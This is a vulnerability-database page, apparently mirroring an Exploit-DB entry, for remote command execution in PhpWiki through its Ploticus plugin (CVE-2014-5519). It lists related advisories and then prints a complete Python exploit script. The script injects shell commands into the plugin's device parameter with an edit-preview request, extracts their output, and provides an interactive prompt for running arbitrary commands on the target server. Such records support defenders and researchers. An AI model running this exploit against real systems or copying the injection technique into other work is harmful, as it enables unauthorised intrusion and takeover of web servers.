Lucene search
+L

PhpWiki - Remote Command Execution

🗓️ 28 Aug 2014 00:00:00Reported by Benjamin HarrisType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

PhpWiki Remote Command Execution via Ploticu

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Phpwiki Ploticus Remote Code Execution Exploit
17 Sep 201400:00
zdt
circl
Circl
CVE-2014-5519
29 May 201815:50
circl
cve
CVE
CVE-2014-5519
11 Sep 201414:00
cve
cvelist
Cvelist
CVE-2014-5519
11 Sep 201414:00
cvelist
metasploit
Metasploit
Phpwiki Ploticus Remote Code Execution
15 Sep 201422:09
metasploit
nvd
NVD
CVE-2014-5519
11 Sep 201414:16
nvd
openvas
OpenVAS
PhpWiki RCE Vulnerability
29 Aug 201400:00
openvas
packetstorm
Packet Storm
Phpwiki Ploticus Remote Code Execution
16 Sep 201400:00
packetstorm
prion
Prion
Information disclosure
11 Sep 201414:16
prion
ubuntucve
UbuntuCve
CVE-2014-5519
11 Sep 201414:16
ubuntucve
Rows per page
###############################################################
#    ____                    __                  _ __   _
#   / __/_  ______ _  ____  / /_  ____ _      __(_) /__(_)
#  / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ /
# / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / /
#/_/  \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/
#             /_/ /_/         /_/
# Diskovered in Nov/Dec 2011
###############################################################

import urllib
import urllib2
import sys
def banner():
	print "	    ____                    __                  _ __   _ "
	print "	   / __/_  ______ _  ____  / /_  ____ _      __(_) /__(_)"
	print "	  / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ / "
	print "	 / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / /  "
	print "	/_/  \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/   "
	print "	             /_/ /_/         /_/                     \n"


def usage():
	banner()
	print "	[+] Usage example"
	print "	[-] python " + sys.argv[0] + " http://path.to/wiki"

if len(sys.argv)< 2:
	usage()
	quit()

domain = sys.argv[1]
def commandexec(cmd):
	data = urllib.urlencode([('pagename','HeIp'),('edit[content]','<<Ploticus device=";echo 123\':::\' 1>&2;'+cmd+' 1>&2;echo \':::\'123 1>&2;" -prefab= -csmap= data= alt= help= >>'),('edit[preview]','Preview'),('action','edit')])
	cmd1 = urllib2.Request(domain +'/index.php/HeIp',data)
	cmd2 = urllib2.urlopen(cmd1)
	output = cmd2.read()
	firstloc = output.find("123:::\n") + len("123:::\n")
	secondloc = output.find("\n:::123")
	return output[firstloc:secondloc]


banner()
print commandexec('uname -a')
print commandexec('id')
while(quit != 1):
	cmd = raw_input('Run a command: ')
	if cmd == 'quit':
		print "[-] Hope you had fun :)"
		quit = 1
	if cmd != 'quit':
		print commandexec(cmd)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Aug 2014 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.64971
34